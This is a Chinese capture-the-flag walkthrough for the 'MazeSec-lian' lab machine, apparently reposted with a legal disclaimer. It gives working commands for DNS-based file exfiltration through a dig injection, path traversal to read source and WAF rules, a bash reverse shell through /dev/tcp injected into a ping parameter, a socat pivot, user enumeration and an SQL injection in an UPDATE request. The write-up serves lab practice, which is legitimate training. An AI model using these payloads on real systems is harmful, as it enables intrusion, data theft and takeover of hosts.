MazeSec-lian

admin 2026-10-03 04:40:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文为CTF实战记录,通过DNS外带读取文件获取Flag1,利用路径穿越读取源码、删除WAF规则、RCE反弹shell、内网穿透及SQL注入提权获取Flag2。文章提供详细操作命令与排错建议,对渗透测试实战具有较高参考价值。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透,漏洞分析,代码审计


MazeSec-lian

原创

識. 識.

0xNyx

2026年9月30日 20:52 安徽

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

Flag 1:userFLAG(DNS 外带,不需要 shell)

原理:dig -f <文件> 会把文件每一行当成一个 DNS 查询名发出去。靶机往你的 IP 发查询,你抓包就能拿到文件内容。

nmap扫描发现暴露80,22端口

访问80端口

查看状态码301,有访问条件,细看响应发现需要host

依旧dirsearch起手

本来打算通过浏览器访问后下载log,折腾半天没成功,希望有大佬教我

ai小子只能用curl手敲命令

这还说啥了

cat一手

这还说啥了

grep一手

这还说啥了

参数格式白送给你了。 日志里作者自己的调用记录

先确认要不要登录

进行信息整理

未授权可达: &nbsp;/ &nbsp;/logs/access.log &nbsp;/logs/error.log &nbsp;/conf/ &nbsp;/style.css &nbsp;/.htaccessOLD(疑似)
需登录: &nbsp; &nbsp; &nbsp;/index.php &nbsp;/dashboard.php &nbsp;/logs.php &nbsp;/status.php &nbsp;/net.php
异常点: &nbsp; &nbsp; &nbsp;/auth.php &nbsp;200 但 0 字节

下一步

先用个小文件验证通路

curl -s -b cookies.txt “http://lian.dsz/net.php?tool=dig&target=-f+/etc/hostname+@$MYIP” -o /dev/null

sleep 2; cat exfil.txt

 有内容 → 通路 OK。然后按顺序来:

3. 读 /etc/passwd,找普通用户

curl -s -b cookies.txt “http://lian.dsz/net.php?tool=dig&target=-f+/etc/passwd+@$MYIP” -o /dev/null

sleep 5; grep -v ‘^$’ exfil.txt

4. 按 WP,用户是 yulian007,直接读 flag

curl -s -b cookies.txt “http://lian.dsz/net.php?tool=dig&target=-f+/home/yulian007/userFLAG+@$MYIP” -o /dev/null

sleep 5; cat exfil.txt

卡住的话:

  • 用 hostname -I 看是不是有多个网卡,换那个跟靶机同网段的试试;或者直接在靶机 VM 里跑接收端
  • dig 等很久 → target 里加 +time=1+tries=1:-f /etc/passwd +time=1 +tries=1 @$MYIP
  • 报被拦 → 先往下走,第 2 步删了 WAF 再回来

Flag 2:Root(要 RCE → 内网 → 提权)

2.1 路径穿越,先读源码确认

curl -s -b cookies.txt “http://lian.dsz/logs.php?name=….//index.php” | head -40

str_replace('../','')只替换一轮,....// 去掉中间那层后剩下的正好又是 ../ —— 确认能读到就继续。

2.2 删掉 WAF 规则

先备份看一眼

curl -s -b cookies.txt “http://lian.dsz/logs.php?name=….//conf/waf.rules” -o waf.bak

curl -s -b cookies.txt “http://lian.dsz/logs.php?name=….//conf/waf.rules”

curl -s -b cookies.txt “http://lian.dsz/logs.php?name=….//conf/waf.rules” | head -5

2.3 RCE + 反弹 shell

Kali 这边先开监听:

nc -lvnp 4444

另一个终端触发:

MYIP=$(hostname -I | awk ‘{print $1}’)

curl-s-bcookies.txt”http://lian.dsz/net.php?tool=ping&target=;bash+-c+’bash+-i+>&+/dev/tcp/$MYIP/4444+0>&1′”

2.4 穿透内网 8080(在靶机上跑,不是 Kali)

cd /opt/perma-app

./socat TCP-LISTEN:9999,fork,reuseaddr TCP:127.0.0.1:8080

 socat 报错就 which socat 看有没有;没有就 apt install socat。

 Kali 这边验证:

curl -s http://10.17.113.91:9999/ | head -40

2.5 找到 root 凭据

先扫出哪些用户真实存在:

for i in $(seq 1 10000); do

r=$(curl -s “http://10.17.113.91:9999/user/$i/edit”)

echo “$r” | grep -q ‘name=’ && echo “$i: $(echo “$r” | grep -oE ‘value=”[^”]*”‘ | tr ‘\n’ ‘ ‘)”

done | grep -v ‘value=””‘

直接:

curl -shttp://10.17.113.91:9999/user/6666/edit

UPDATE 注入(注意那个, email=的闭合手法):

*curl -s -X POST “http://10.17.113.91:9999/user/6666/update”*

-d “name=PWNED_BY_SQLI’, email=’p@x” -d “[email protected]”

执行顺序提醒: Flag 1 不用删 WAF,先把它拿下;Flag 2 才需要 2.2 那步。别一上来就sed -i删规则,先curl存一份,不然删完你都不知道刚才被什么挡着。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:0xNyx 識. 識.《MazeSec-lian》

    MazeSec-lian 网络安全文章

    MazeSec-lian

    文章总结: 本文为CTF实战记录,通过DNS外带读取文件获取Flag1,利用路径穿越读取源码、删除WAF规则、RCE反弹shell、内网穿透及SQL注入提权获取
    评论:0   参与:  0